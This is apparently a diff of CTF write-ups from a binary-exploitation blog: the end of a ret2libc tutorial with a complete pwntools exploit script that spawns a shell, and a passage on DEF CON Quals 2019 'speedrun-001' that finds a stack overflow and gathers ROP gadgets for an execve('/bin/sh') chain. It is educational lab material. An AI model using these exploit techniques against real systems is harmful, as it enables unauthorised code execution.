|
||||
0x08048607 <+86>: add esp,0x10
|
||||
0x0804860a <+89>: sub esp,0xc
|
||||
0x0804860d <+92>: lea eax,[ebx-0x16dd]
|
||||
0x08048613 <+98>: push eax
|
||||
0x08048614 <+99>: call 0x80483f0
|
||||
0x08048619 <+104>: add esp,0x10
|
||||
0x0804861c <+107>: sub esp,0xc
|
||||
0x0804861f <+110>: lea eax,[ebp-0x38]
|
||||
0x08048622 <+113>: push eax
|
||||
0x08048623 <+114>: call 0x8048400
|
||||
0x08048628 <+119>: add esp,0x10
|
||||
0x0804862b <+122>: sub esp,0xc
|
||||
0x0804862e <+125>: lea eax,[ebp-0x38]
|
||||
0x08048631 <+128>: push eax
|
||||
0x08048632 <+129>: call 0x80486e1
|
||||
0x08048637 <+134>: add esp,0x10
|
||||
0x0804863a <+137>: nop
|
||||
0x0804863b <+138>: mov ebx,DWORD PTR [ebp-0x4]
|
||||
0x0804863e <+141>: leave
|
||||
0x0804863f <+142>: ret
|
||||
End of assembler dump.
|
||||
gef➤ b *vuln+119
|
||||
Breakpoint 1 at 0x8048628
|
||||
gef➤ r
|
||||
Starting program: /home/nothing/binexp/2/shme/server
|
||||
|
||||
Legend: buff MODIFIED padding MODIFIED
|
||||
notsecret MODIFIED secret MODIFIED
|
||||
return address MODIFIED
|
||||
0xffffd0a0 | 00 00 00 00 00 00 00 00 |
|
||||
0xffffd0a8 | 00 00 00 00 00 00 00 00 |
|
||||
0xffffd0b0 | 00 00 00 00 00 00 00 00 |
|
||||
0xffffd0b8 | 00 00 00 00 00 00 00 00 |
|
||||
0xffffd0c0 | ff ff ff ff ff ff ff ff |
|
||||
0xffffd0c8 | ff ff ff ff ff ff ff ff |
|
||||
0xffffd0d0 | 40 05 f9 f7 00 a0 04 08 |
|
||||
0xffffd0d8 | e8 d0 ff ff 8b 86 04 08 |
|
||||
Return address: 0x0804868b
|
||||
|
||||
Input some text: 13371337
|
||||
|
||||
Breakpoint 1, 0x08048628 in vuln ()
|
||||
[ Legend: Modified register | Code | Heap | Stack | String ]
|
||||
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
|
||||
$eax : 0xffffd0a0 → "13371337"
|
||||
$ebx : 0x0804a000 → 0x08049f0c → 0x00000001
|
||||
$ecx : 0xf7f90540 → 0xfbad208b
|
||||
$edx : 0xfbad208b
|
||||
$esp : 0xffffd090 → 0xffffd0a0 → "13371337"
|
||||
$ebp : 0xffffd0d8 → 0xffffd0e8 → 0x00000000
|
||||
$esi : 0x1
|
||||
$edi : 0x08048470 → <_start+0> xor ebp, ebp
|
||||
$eip : 0x08048628 → add esp, 0x10
|
||||
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
|
||||
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
|
||||
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
|
||||
0xffffd090│+0x0000: 0xffffd0a0 → "13371337" ← $esp
|
||||
0xffffd094│+0x0004: 0x000000ff
|
||||
0xffffd098│+0x0008: 0x00000010
|
||||
0xffffd09c│+0x000c: 0x080485bd → add ebx, 0x1a43
|
||||
0xffffd0a0│+0x0010: "13371337"
|
||||
0xffffd0a4│+0x0014: "1337"
|
||||
0xffffd0a8│+0x0018: 0x00000000
|
||||
0xffffd0ac│+0x001c: 0x00000000
|
||||
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
|
||||
0x804861f lea eax, [ebp-0x38]
|
||||
0x8048622 push eax
|
||||
0x8048623 call 0x8048400
|
||||
→ 0x8048628 add esp, 0x10
|
||||
0x804862b sub esp, 0xc
|
||||
0x804862e lea eax, [ebp-0x38]
|
||||
0x8048631 push eax
|
||||
0x8048632 call 0x80486e1
|
||||
0x8048637 add esp, 0x10
|
||||
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
|
||||
[#0] Id 1, Name: "server", stopped 0x8048628 in vuln (), reason: BREAKPOINT
|
||||
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
|
||||
[#0] 0x8048628 → vuln()
|
||||
[#1] 0x804868b → main()
|
||||
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
|
||||
gef➤
|
||||
|
||||
|
||||
|
||||
So what we did here was first disassemble the vuln function, set the breakpoint to be right after the gets call, and then run the binary, we gave it a simple pattern (13371337) and then we hit our breakpoint. So let's search for our pattern in memory, to determine the offset in between our input and the return address:
|
||||
|
||||
|
||||
gef➤ search-pattern 13371337
|
||||
[+] Searching '13371337' in memory
|
||||
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw-
|
||||
0xffffd0a0 - 0xffffd0a8 → "13371337"
|
||||
|
||||
gef➤ info frame
|
||||
Stack level 0, frame at 0xffffd0e0:
|
||||
eip = 0x8048628 in vuln; saved eip = 0x804868b
|
||||
called by frame at 0xffffd100
|
||||
Arglist at 0xffffd0d8, args:
|
||||
Locals at 0xffffd0d8, Previous frame's sp is 0xffffd0e0
|
||||
Saved registers:
|
||||
ebx at 0xffffd0d4, ebp at 0xffffd0d8, eip at 0xffffd0dc
|
||||
|
||||
|
||||
|
||||
Here we see that our input text is at **0xffffd0a0** and the return address is at **0xffffd0dc** So we can easily find the offset from a python3 shell:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/17 ] [Nextcloud/blog]
|
||||
→ python3
|
||||
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
|
||||
[GCC 10.2.0] on linux
|
||||
Type "help", "copyright", "credits" or "license" for more information.
|
||||
>>> hex( 0xffffd0a0 - 0xffffd0dc )
|
||||
'-0x3c'
|
||||
|
||||
|
||||
|
||||
And here we see that we have a 0x3c bytes offset between our text input and the return address. The idea here is that we're going to call an instruction pointer, but what is it that we're going to call ? All we need is just 2 libc infoleaks, and it can become possible to identify the libc versions.
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/27 ] [binexp/2/shme]
|
||||
→ objdump -D server | grep puts
|
||||
08048410 <****puts@plt>:
|
||||
8048704: e8 07 fd ff ff call 8048410 <****puts@plt>
|
||||
8048716: e8 f5 fc ff ff call 8048410 <****puts@plt>
|
||||
8048846: e8 c5 fb ff ff call 8048410 <****puts@plt>
|
||||
8048881: e8 8a fb ff ff call 8048410 <****puts@plt>
|
||||
|
||||
` ****
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/27 ] [binexp/2/shme]
|
||||
→ vim exploit.py
|
||||
|
||||
|
||||
|
||||
We're going to make use of guyinatuxedo's ['TheNight']() Python library:
|
||||
|
||||
|
||||
import TheNight
|
||||
from pwn import *
|
||||
|
||||
|
||||
libc = ELF("libc6_2.27-3ubuntu1_i386.so")
|
||||
target = process("./server")
|
||||
elf = ELF('server')
|
||||
|
||||
|
||||
payload = ""
|
||||
payload += "0"*0x3c
|
||||
payload += p32(elf.symbols["puts"])
|
||||
payload += p32(elf.symbols["vuln"])
|
||||
payload += p32(elf.got["puts"])
|
||||
|
||||
target.sendline(payload)
|
||||
|
||||
|
||||
for i in range(0, 2):
|
||||
print target.recvuntil("Return address:")
|
||||
|
||||
|
||||
for i in range(0, 2):
|
||||
print target.recvline()
|
||||
|
||||
|
||||
leak0 = target.recvline()[0:4]
|
||||
|
||||
puts = u32(leak0)
|
||||
|
||||
libcBase = puts - libc.symbols["puts"]
|
||||
|
||||
print "libc base: " + hex(libcBase)
|
||||
|
||||
binshOffset = 0x17e0cf
|
||||
|
||||
payload1 = ""
|
||||
payload1 += "0"*0x3c
|
||||
payload1 += p32(libcBase + libc.symbols["system"])
|
||||
payload1 += p32(0x30303030)
|
||||
payload1 += p32(libcBase + binshOffset)
|
||||
|
||||
target.sendline(payload1)
|
||||
|
||||
target.interactive()
|
||||
|
||||
|
||||
And when we run it:
|
||||
|
||||
|
||||
[*] '/Hackery/utc/shelltime/libc6_2.27-3ubuntu1_i386.so'
|
||||
Arch: i386-32-little
|
||||
RELRO: Partial RELRO
|
||||
Stack: Canary found
|
||||
NX: NX enabled
|
||||
PIE: PIE enabled
|
||||
[*] '/Hackery/utc/shelltime/server'
|
||||
Arch: i386-32-little
|
||||
RELRO: Partial RELRO
|
||||
Stack: No canary found
|
||||
NX: NX enabled
|
||||
PIE: No PIE (0x8048000)
|
||||
|
||||
Legend: buff MODIFIED padding MODIFIED
|
||||
notsecret MODIFIED secret MODIFIED
|
||||
return address MODIFIED
|
||||
0xffbba510 | 00 00 00 00 00 00 00 00 |
|
||||
0xffbba518 | 00 00 00 00 00 00 00 00 |
|
||||
0xffbba520 | 00 00 00 00 00 00 00 00 |
|
||||
0xffbba528 | 00 00 00 00 00 00 00 00 |
|
||||
0xffbba530 | ff ff ff ff ff ff ff ff |
|
||||
0xffbba538 | ff ff ff ff ff ff ff ff |
|
||||
0xffbba540 | c0 d5 ef f7 00 a0 04 08 |
|
||||
0xffbba548 | 58 a5 bb ff 8b 86 04 08 |
|
||||
Return address:
|
||||
0x0804868b
|
||||
|
||||
Input some text:
|
||||
Legend: buff MODIFIED padding MODIFIED
|
||||
notsecret MODIFIED secret MODIFIED
|
||||
return address MODIFIED
|
||||
0xffbba510 | 30 30 30 30 30 30 30 30 |
|
||||
0xffbba518 | 30 30 30 30 30 30 30 30 |
|
||||
0xffbba520 | 30 30 30 30 30 30 30 30 |
|
||||
0xffbba528 | 30 30 30 30 30 30 30 30 |
|
||||
0xffbba530 | 30 30 30 30 30 30 30 30 |
|
||||
0xffbba538 | 30 30 30 30 30 30 30 30 |
|
||||
0xffbba540 | 30 30 30 30 30 30 30 30 |
|
||||
0xffbba548 | 30 30 30 30 10 84 04 08 |
|
||||
Return address:
|
||||
0x08048410
|
||||
|
||||
|
||||
|
||||
libc base: 0xf7d25000
|
||||
[*] Switching to interactive mode
|
||||
|
||||
Legend: buff \x1b[32;1mMODIFIED padding MODIFIED
|
||||
notsecret MODIFIED secret MODIFIED
|
||||
return address MODIFIED
|
||||
0xffbba518 | 00 00 00 00 00 00 00 00 |
|
||||
0xffbba520 | 00 00 00 00 00 00 00 00 |
|
||||
0xffbba528 | 00 00 00 00 00 00 00 00 |
|
||||
0xffbba530 | 00 00 00 00 00 00 00 00 |
|
||||
0xffbba538 | ff ff ff ff ff ff ff ff |
|
||||
0xffbba540 | ff ff ff ff ff ff ff ff |
|
||||
0xffbba548 | 00 00 00 00 30 30 30 30 |
|
||||
0xffbba550 | 30 30 30 30 18 a0 04 08 |
|
||||
Return address: 0x0804a018
|
||||
|
||||
Input some text:
|
||||
Legend: buff MODIFIED padding MODIFIED
|
||||
notsecret MODIFIED secret MODIFIED
|
||||
return address MODIFIED
|
||||
0xffbba518 | 30 30 30 30 30 30 30 30 |
|
||||
0xffbba520 | 30 30 30 30 30 30 30 30 |
|
||||
0xffbba528 | 30 30 30 30 30 30 30 30 |
|
||||
0xffbba530 | 30 30 30 30 30 30 30 30 |
|
||||
0xffbba538 | 30 30 30 30 30 30 30 30 |
|
||||
0xffbba540 | 30 30 30 30 30 30 30 30 |
|
||||
0xffbba548 | 30 30 30 30 30 30 30 30 |
|
||||
0xffbba550 | 30 30 30 30 00 22 d6 f7 |
|
||||
Return address: 0xf7d62200
|
||||
|
||||
$ cat flag.txt
|
||||
utc{c0ntr0ling_r1p_1s_n0t_t00_h4rd}
|
||||
|
||||
|
||||
|
||||
And we get the flag!
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
534
2/speed.md
Normal file
|
@ -0,0 +1,534 @@
|
|||
# DCQuals 2019 speed
|
||||
|
||||
## Downloading the binary file
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed]
|
||||
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
|
||||
--2021-03-05 21:19:04-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
|
||||
Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt'
|
||||
Resolving github.com (github.com)... 140.82.121.4
|
||||
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
|
||||
HTTP request sent, awaiting response... 302 Found
|
||||
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 [following]
|
||||
--2021-03-05 21:19:04-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
|
||||
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.109.133, 185.199.108.133, ...
|
||||
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected.
|
||||
HTTP request sent, awaiting response... 200 OK
|
||||
Length: 774392 (756K) [application/octet-stream]
|
||||
Saving to: ‘speedrun-001’
|
||||
|
||||
speedrun-001 100%[=======================================================================================================================================================>] 756.24K 2.40MB/s in 0.3s
|
||||
|
||||
2021-03-05 21:19:05 (2.40 MB/s) - ‘speedrun-001’ saved [774392/774392]
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed]
|
||||
→ file speedrun-001
|
||||
speedrun-001: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=e9266027a3231c31606a432ec4eb461073e1ffa9, stripped
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed]
|
||||
→ chmod +x speedrun-001
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Solution
|
||||
|
||||
first let's run pwn checksec onto the binary and execute it to see what it does:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed]
|
||||
→ pwn checksec speedrun-001
|
||||
[*] '/home/nothing/binexp/2/speed/speedrun-001'
|
||||
Arch: amd64-64-little
|
||||
RELRO: Partial RELRO
|
||||
Stack: No canary found
|
||||
NX: NX enabled
|
||||
PIE: No PIE (0x400000)
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed]
|
||||
→ ./speedrun-001
|
||||
Hello brave new challenger
|
||||
Any last words?
|
||||
yes
|
||||
This will be the last thing that you say: yes
|
||||
|
||||
Alas, you had no luck today.
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed]
|
||||
→ ./speedrun-001
|
||||
Hello brave new challenger
|
||||
Any last words?
|
||||
no
|
||||
This will be the last thing that you say: no
|
||||
|
||||
Alas, you had no luck today.
|
||||
|
||||
|
||||
|
||||
|
||||
So here we have a 64bit statically compiled binary, the binary has NX which means Non Executable stack enabled, this means that the stack memory region is not executable, to get more info on this, we look at the binary from inside ghidra, however the main function isn't called 'main' as usual, this time we need to find where the output text is:
|
||||
|
||||
[](http://ghidra.re/CheatSheet.html)
|
||||
|
||||
We can use the CTRL+Shift+E to search for the program text line 'Any last words?' since it's safe to assume that it is in the main function
|
||||
|
||||

|
||||
|
||||
Now we know the main function is **FUN_00400b60** and it has the following code:
|
||||
|
||||
|
||||
void FUN_00400b60(void)
|
||||
|
||||
{
|
||||
undefined local_408 [1024];
|
||||
|
||||
FUN_00410390("Any last words?");
|
||||
FUN_004498a0(0,local_408,2000);
|
||||
FUN_0040f710("This will be the last thing that you say: %s\n",local_408);
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
Here we see that our text gets put into the variable local_408 into a function called 'FUN_004498a0() which takes in 3 arguements, so let's investigate what this function really does:'
|
||||
|
||||
|
||||
/* WARNING: Removing unreachable block (ram,0x00449910) */
|
||||
/* WARNING: Removing unreachable block (ram,0x00449924) */
|
||||
|
||||
undefined8 FUN_004498a0(undefined8 param_1,undefined8 param_2,undefined8 param_3)
|
||||
|
||||
{
|
||||
undefined4 uVar1;
|
||||
|
||||
if (DAT_006bc80c == 0) {
|
||||
syscall();
|
||||
return 0;
|
||||
}
|
||||
uVar1 = FUN_0044be40();
|
||||
syscall();
|
||||
FUN_0044bea0(uVar1,param_2,param_3);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
So the function scans for our input (which is param_2) by making a syscall instead of using the usual fgets or scanf. Looking at the assembly code around the syscall we see the following:
|
||||
|
||||

|
||||
|
||||
there is a xor call to set eax to 0 and thus the rax register is also set to 0, and we know that the rax register is important on the x86_64 architecture because this is what determines what our syscall ID is, you can check what those syscalls are [here](https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86_64-64_bit):
|
||||
|
||||

|
||||
|
||||
since rax is being set to 0 we are dealing with a read syscall, although we don't see the arguements being loaded for the syscall becasue they were already loaded when the function was called. Therefore the arguements this function takes, and the registers they take it in, are the same as the read syscall, so it can just call the read syscall after setting rax to zero (xoring eax with itself)
|
||||
|
||||
|
||||
FUN_004498a0(0,local_408,2000);
|
||||
|
||||
|
||||
|
||||
Looking back at the call to that function, we see that the third arguement is set to 2000, this means that the third arguement (param_3) gets passed into the syscall as an arguement, we can assume this is a limit to our text input variable (local_408) which can only hold 1024 bytes as it was initialized like so:
|
||||
|
||||
|
||||
undefined local_408 [1024];
|
||||
|
||||
|
||||
|
||||
Now here that we are scanning in 2000 bytes worth of input into our input value, which can only hold 1024 bytes, this means that there is an overflow that can potentially overflow and overwrite the return address to get code execution.
|
||||
|
||||
The goal here is to create a ROP chain (Return Oriented Programming) and to use the buffer overflow to execute it. the ROP chain is made up of **ROP gadgets** , these are bits of code in the binary itself that end in a **ret** instruction
|
||||
|
||||
We don't have to worry about the code being non-executable because this will be all valid code. Since PIE is disabled, we know the address of all of the binary file's instructions.
|
||||
|
||||
Since the binary file is statically linked, that means it is a large binary with plenty of potential gadgets.
|
||||
|
||||
The plan here is to make a ROP chain to make a execve() syscall to execute /bin/sh and to give us a shell. The required registers are the following:
|
||||
|
||||
|
||||
rax: 59 #rax contains the syscall ID
|
||||
rdi: ptr to "bin/sh" #rbx contains the first arguement (the file to execute)
|
||||
rsi: 0 #rsi : 2nd arg
|
||||
rdx: 0 #rdx : 3rd arg
|
||||
|
||||
|
||||
|
||||
The ROP chain we will build will have 3 parts. First we write **/bin/sh** somewhere in memory, then move the pointer to it into the **rdi** register. Second, we move the necessary values into the other 3 registers. Third, we need to make the syscall itself.
|
||||
|
||||
Now we need to find where in memory we can write **/bin/sh** To do so we check the memory mappings while the ELF is running to see what we have to work with. So let's first choose where we will put our breakpoint:
|
||||
|
||||

|
||||
|
||||
|
||||
00400ba1 b8 00 00 MOV EAX,0x0
|
||||
00 00
|
||||
00400ba6 e8 65 eb CALL FUN_0040f710 undefined FUN_0040f710(undefined
|
||||
00 00
|
||||
00400bab 90 NOP
|
||||
00400bac c9 LEAVE
|
||||
00400bad c3 RET
|
||||
|
||||
|
||||
|
||||
So here we see that the last text output of the binary is at 0x400ba6 so we set our breakpoint right after at **0x400bab**
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed]
|
||||
→ gdb ./speedrun-001
|
||||
GNU gdb (GDB) 10.1
|
||||
Copyright (C) 2020 Free Software Foundation, Inc.
|
||||
License GPLv3+: GNU GPL version 3 or later
|
||||
This is free software: you are free to change and redistribute it.
|
||||
There is NO WARRANTY, to the extent permitted by law.
|
||||
Type "show copying" and "show warranty" for details.
|
||||
This GDB was configured as "x86_64-pc-linux-gnu".
|
||||
Type "show configuration" for configuration details.
|
||||
For bug reporting instructions, please see:
|
||||
.
|
||||
Find the GDB manual and other documentation resources online at:
|
||||
.
|
||||
|
||||
For help, type "help".
|
||||
Type "apropos word" to search for commands related to "word"...
|
||||
GEF for linux ready, type `gef' to start, `gef config' to configure
|
||||
92 commands loaded for GDB 10.1 using Python engine 3.9
|
||||
Reading symbols from ./speedrun-001...
|
||||
(No debugging symbols found in ./speedrun-001)
|
||||
gef➤ b *0x400bab
|
||||
Breakpoint 1 at 0x400bab
|
||||
gef➤ r
|
||||
Starting program: /home/nothing/binexp/2/speed/speedrun-001
|
||||
Hello brave new challenger
|
||||
Any last words?
|
||||
13371337
|
||||
This will be the last thing that you say: 13371337
|
||||
|
||||
|
||||
Breakpoint 1, 0x0000000000400bab in ?? ()
|
||||
[ Legend: Modified register | Code | Heap | Stack | String ]
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
|
||||
$rax : 0x34
|
||||
$rbx : 0x0000000000400400 → sub rsp, 0x8
|
||||
$rcx : 0x0
|
||||
$rdx : 0x00000000006bbd30 → 0x0000000000000000
|
||||
$rsp : 0x00007fffffffdad0 → "13371337\n"
|
||||
$rbp : 0x00007fffffffded0 → 0x00007fffffffdef0 → 0x0000000000401900 → push r15
|
||||
$rsi : 0x0
|
||||
$rdi : 0x1
|
||||
$rip : 0x0000000000400bab → nop
|
||||
$r8 : 0x34
|
||||
$r9 : 0x34
|
||||
$r10 : 0xfffffff7
|
||||
$r11 : 0x246
|
||||
$r12 : 0x00000000004019a0 → push rbp
|
||||
$r13 : 0x0
|
||||
$r14 : 0x00000000006b9018 → 0x0000000000443e60 → mov rcx, rsi
|
||||
$r15 : 0x0
|
||||
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
|
||||
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
|
||||
0x00007fffffffdad0│+0x0000: "13371337\n" ← $rsp
|
||||
0x00007fffffffdad8│+0x0008: 0x000000000000000a
|
||||
0x00007fffffffdae0│+0x0010: 0x0000000000000000
|
||||
0x00007fffffffdae8│+0x0018: 0x0000000000000000
|
||||
0x00007fffffffdaf0│+0x0020: 0x0000000000000000
|
||||
0x00007fffffffdaf8│+0x0028: 0x0000000000000000
|
||||
0x00007fffffffdb00│+0x0030: 0x0000000000000000
|
||||
0x00007fffffffdb08│+0x0038: 0x0000000000000000
|
||||
─────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
|
||||
0x400b9a lea rdi, [rip+0x919b7] # 0x492558
|
||||
0x400ba1 mov eax, 0x0
|
||||
0x400ba6 call 0x40f710
|
||||
●→ 0x400bab nop
|
||||
0x400bac leave
|
||||
0x400bad ret
|
||||
0x400bae push rbp
|
||||
0x400baf mov rbp, rsp
|
||||
0x400bb2 lea rdi, [rip+0x919cd] # 0x492586
|
||||
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
|
||||
[#0] Id 1, Name: "speedrun-001", stopped 0x400bab in ?? (), reason: BREAKPOINT
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
|
||||
[#0] 0x400bab → nop
|
||||
[#1] 0x400c1d → mov eax, 0x0
|
||||
[#2] 0x4011a9 → mov edi, eax
|
||||
[#3] 0x400a5a → hlt
|
||||
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
|
||||
gef➤
|
||||
|
||||
|
||||
|
||||
So here we basically used gdb to set the breakpoint at **0x400bab** and then we ran the binary, putting 13371337 as our input text so that it is an easy pattern to find in memory. So before we check for where our pattern is in memory, let's check the memory mappings to see what we have to work with:
|
||||
|
||||
|
||||
gef➤ vmmap
|
||||
[ Legend: Code | Heap | Stack ]
|
||||
Start End Offset Perm Path
|
||||
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/nothing/binexp/2/speed/speedrun-001
|
||||
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/nothing/binexp/2/speed/speedrun-001
|
||||
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
|
||||
0x00007ffff7ff9000 0x00007ffff7ffd000 0x0000000000000000 r-- [vvar]
|
||||
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000000000 r-x [vdso]
|
||||
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
|
||||
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall]
|
||||
|
||||
|
||||
|
||||
Now here we see the elf memory region between **0x6b6000** and **0x6bc000** because this is from the elf's memory space that does not have PIE, therefore we know what the address is without an infoleak. In addition to that, the permissions are **rw** as you can see on the right, which means that we can read and write to it. Since the space in between the aforementionned memory addresses is only zeroes, we shouldn't mess anything up if we store it here. So let's find the offset between the start of our input where our **13371337** pattern is:
|
||||
|
||||
|
||||
gef➤ search-pattern 13371337
|
||||
[+] Searching '13371337' in memory
|
||||
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
|
||||
0x7fffffffb46a - 0x7fffffffb476 → "13371337\n\n"
|
||||
0x7fffffffdad0 - 0x7fffffffdada → "13371337\n"
|
||||
|
||||
gef➤ info frame
|
||||
Stack level 0, frame at 0x7fffffffdee0:
|
||||
rip = 0x400bab; saved rip = 0x400c1d
|
||||
called by frame at 0x7fffffffdf00
|
||||
Arglist at 0x7fffffffdac8, args:
|
||||
Locals at 0x7fffffffdac8, Previous frame's sp is 0x7fffffffdee0
|
||||
Saved registers:
|
||||
rbp at 0x7fffffffded0, rip at 0x7fffffffded8
|
||||
|
||||
|
||||
|
||||
Here we see that our input address is at **0x7fffffffdad0** and the return address is at **0x7fffffffded8** , Now let's calculate the offset between the 2 addresses:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/6 ] [blog/binexp/2]
|
||||
→ python3
|
||||
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
|
||||
[GCC 10.2.0] on linux
|
||||
Type "help", "copyright", "credits" or "license" for more information.
|
||||
>>> hex( 0x7fffffffdad0 - 0x7fffffffded8 )
|
||||
'-0x408'
|
||||
|
||||
|
||||
|
||||
Now we know that have an offset of 0x408 bytes between our input text and the return function. Next step is to find the ROP Gadgets we will use. To do so we will use ROPGadgets.py you can check out how we installed it in the previous tutorial [here](calc.html). Now let's find the gadgets we need for the **rax, rdi, rsi and rdx** registers using the following template:
|
||||
|
||||
|
||||
"pop register ; ret"
|
||||
|
||||
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed]
|
||||
→ ROPgadget --binary speedrun-001 | grep "pop rax ; ret"
|
||||
0x0000000000415662 : add ch, al ; pop rax ; ret
|
||||
0x0000000000415661 : cli ; add ch, al ; pop rax ; ret
|
||||
0x00000000004a9321 : in al, 0x4c ; pop rax ; retf
|
||||
0x0000000000415664 : pop rax ; ret
|
||||
0x000000000048cccb : pop rax ; ret 0x22
|
||||
0x00000000004a9323 : pop rax ; retf
|
||||
0x00000000004758a3 : ror byte ptr [rax - 0x7d], 0xc4 ; pop rax ; ret
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed]
|
||||
→ ROPgadget --binary speedrun-001 | grep "pop rdi ; ret"
|
||||
0x0000000000423788 : add byte ptr [rax - 0x77], cl ; fsubp st(0) ; pop rdi ; ret
|
||||
0x000000000042378b : fsubp st(0) ; pop rdi ; ret
|
||||
0x0000000000400686 : pop rdi ; ret
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed]
|
||||
→ ROPgadget --binary speedrun-001 | grep "pop rsi ; ret"
|
||||
0x000000000046759d : add byte ptr [rbp + rcx*4 + 0x35], cl ; pop rsi ; ret
|
||||
0x000000000048ac68 : cmp byte ptr [rbx + 0x41], bl ; pop rsi ; ret
|
||||
0x000000000044be39 : pop rdx ; pop rsi ; ret
|
||||
0x00000000004101f3 : pop rsi ; ret
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed]
|
||||
→ ROPgadget --binary speedrun-001 | grep "pop rdx ; ret"
|
||||
0x00000000004a8881 : js 0x4a88fe ; pop rdx ; retf
|
||||
0x00000000004498b5 : pop rdx ; ret
|
||||
0x000000000045fe71 : pop rdx ; retf
|
||||
|
||||
|
||||
|
||||
So we have found the following gadget addresses for each of our registers:
|
||||
|
||||
|
||||
rax 415664
|
||||
rdi 400686
|
||||
rsi 4101f3
|
||||
rdx 4498b5
|
||||
|
||||
|
||||
|
||||
Next we will need a gadget which will write the string **/bin/sh** somewhere in memory, for this we just look through all the gadgets with a mov instruction, we want a rax pointer and the gadget must end with **; ret** :
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/speed]
|
||||
→ ROPgadget --binary speedrun-001 | grep "mov" | grep "ptr \[rax\]" | grep "; ret$"
|
||||
|
||||
|
||||
|
||||
Looking through for the shortest (and simplest) instructions we find the following:
|
||||
|
||||
|
||||
0x000000000048d251 : mov qword ptr [rax], rdx ; ret
|
||||
|
||||
|
||||
|
||||
This gadget will allow us to write an 8 byte value stored in **rdx** to whatever address is pointed to by the **rax** register. In addition this is convenient becuase we can use the 4 gadgets we found earlier to prepare this write. And lastly we need to find a gadget to actually make the syscall:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed]
|
||||
→ ROPgadget --binary speedrun-001 | grep "syscall"
|
||||
|
||||
[...]
|
||||
|
||||
0x000000000040dbdd : sub dword ptr [rsp + 0xf0], eax ; syscall
|
||||
0x0000000000475453 : sub esp, 8 ; syscall
|
||||
0x0000000000475452 : sub rsp, 8 ; syscall
|
||||
0x000000000040129c : syscall
|
||||
|
||||
[...]
|
||||
|
||||
|
||||
